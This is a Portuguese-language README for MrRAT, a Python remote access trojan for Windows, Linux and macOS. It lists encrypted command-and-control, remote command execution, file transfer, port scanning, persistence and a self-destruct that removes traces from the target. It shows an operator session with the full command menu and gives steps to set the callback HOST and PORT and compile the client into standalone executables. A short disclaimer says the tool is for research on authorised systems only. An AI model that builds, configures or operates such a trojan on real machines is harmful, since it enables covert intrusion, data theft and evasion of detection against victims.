MrRAT

Este é um cavalo de Troia de acesso remoto (RAT) multiplataforma em Python 2.x. O MrRAT foi criado para manter um design limpo e um RAT Python cheio de recursos. Atualmente é um trabalho em andamento e ainda está sendo ativamente desenvolvido.

Aviso: Este RAT é apenas para fins de pesquisa e deve ser usado somente em sistemas autorizados. Acessar um sistema ou rede de computadores sem autorização ou permissão explícita é ilegal.

Recursos

• Multiplataforma (Windows, Linux e macOS)
• C2 criptografado com AES GCM e troca D-H
• Aceita conexões de múltiplos clientes
• Execução de comandos
• Upload/download de arquivos (um pouco instável desde a mudança de criptografia)
• Utilitários padrão (wget, unzip)
• Inventário do sistema

Uso

$ python MrRAT_server.py --port 1337

 /$$      /$$           /$$$$$$$   /$$$$$$  /$$$$$$$$
| $$$    /$$$          | $$__  $$ /$$__  $$|__  $$__/
| $$$$  /$$$$  /$$$$$$ | $$  \ $$| $$  \ $$   | $$
| $$ $$/$$ $$ /$$__  $$| $$$$$$$/| $$$$$$$$   | $$
| $$  $$$| $$| $$  \__/| $$__  $$| $$__  $$   | $$
| $$\  $ | $$| $$      | $$  \ $$| $$  | $$   | $$
| $$ \/  | $$| $$      | $$  | $$| $$  | $$   | $$
|__/     |__/|__/      |__/  |__/|__/  |__/   |__/

                  ,     .
                  (\,;,/)
                   (o o)\//,
                    \ /     \,
                    `+'(  (   \    )
                       //  \   |_./
                     '~' '~----'
        https://github.com/user696/MrRAT

MrRAT server listening for connections on port 1337.

[?] MrRAT> help

client <id>         - Connect to a client.
clients             - List connected clients.
download <files>    - Download file(s).
execute <command>   - Execute a command on the target.
help                - Show this help menu.
kill                - Kill the client connection.
persistence         - Apply persistence mechanism.
quit                - Exit the server and end all client connections.
scan <ip>           - Scan top 25 ports on a single host.
selfdestruct        - Remove all traces of the RAT from the target system.
survey              - Run a system survey.
unzip <file>        - Unzip a file.
upload <files>      - Upload files(s).
wget <url>          - Download a file from the web.

[?] MrRAT> clients
ID - Client Address
 1 - 127.0.0.1

[?] MrRAT> client 1

[1] MrRAT> execute uname -a
Linux sandbox3 4.8.13-1-ARCH #1 SMP PREEMPT Fri Dec 9 07:24:34 CET 2016 x86_64 GNU/Linux

Criar um executável autônomo

Tenha em mente que antes de compilar, você provavelmente vai querer modificar as variáveis HOST e PORT localizadas no topo de MrRAT_client.py para atender às suas necessidades.

No Linux, você precisará de Python 2.x, PyInstaller e pycrypto. Em seguida, execute algo como pyinstaller2 --onefile MrRAT_client.py e ele deve gerar uma pasta dist/ que contém um executável ELF autônomo.

No Windows, você precisará de Python 2.x, PyInstaller, pycrypto, pywin32 e pefile. Em seguida, execute algo como C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile MrRAT_client.py e ele deve gerar uma pasta dist/ que contém um executável PE (portable executable) autônomo.